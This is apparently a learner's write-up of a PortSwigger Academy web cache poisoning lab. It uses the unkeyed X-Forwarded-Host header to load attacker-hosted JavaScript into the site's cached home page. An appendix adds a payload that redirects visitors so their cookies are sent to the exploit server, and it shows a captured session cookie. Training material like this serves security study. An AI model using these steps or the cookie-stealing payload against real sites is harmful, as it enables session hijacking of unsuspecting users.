PortSwigger Academy Lab: Web cache poisoning with an unkeyed header
Task
This lab is vulnerable to web cache poisoning because it handles input from an unkeyed header in an unsafe way. An unsuspecting user regularly visits the site’s home page. To solve this lab, poison the cache with a response that executes alert(document.cookie) in the visitor’s browser.
Attempt
The website only had a login form and view details buttons as functionalities. But upon examining requests using burp, I found it used tracking.js:
document.write('<img src="/resources/images/tracker.gif?page=post">');
Could be used for poisoning.
According to PortSwigger, there are 3 steps to construct a web cache poisoning:
- Identify and evaluate unkeyed inputs
- Elicit a harmful response from the back-end server
- Get the response cached
About cache key:
Caches identify equivalent requests by comparing a predefined subset of the request’s components, known collectively as the “cache key”. Typically, this would contain the request line and
Hostheader. Components of the request that are not included in the cache key are said to be “unkeyed”.
And for finding unkeyed headers, we can use Param Miner extension.
Right clicked a get request to /?cb=kjsfjoes in Repeater, selected Param Miner extension, and Guess headers > okay. (?cb=kjsfjoes) is a cache buster to avoid attacking a live website.
The results are shown in Extensions > Installed > Output. And it found X-Forwarded-Host can be used.
For testing, I added X-Forwarded-Host: example.com and sent a request. Got a response that contains the below code:
<script type="text/javascript" src="//example.com/resources/js/tracking.js"></script>
That .js file is fetched from the url I specified in the x-forwarded-host header. This is vulnerable to cache poisoning.
Host a malicious js file named /resources/js/tracking.js at the exploit server:
alert(document.cookie)
Add X-Forwarded-Host: exploit-0abb004103e09cb682a2ba07019f0006.exploit-server.net to a request.
Removing a cache buster, keep sending a request until the server caches it. X-Cache: hit in the response indicates it. Keep doing it until a victim visits the page.
Appendix
I tried to steal the victim’s cookie.
Set this payload at the exploit server:
location='https://exploit-0abb004103e09cb682a2ba07019f0006.exploit-server.net/?cookies='+document.cookie;
Got this in Access Log /?cookies=secret=HmXw6lMzt1weoVlMune8k9OBbtWOpV6o.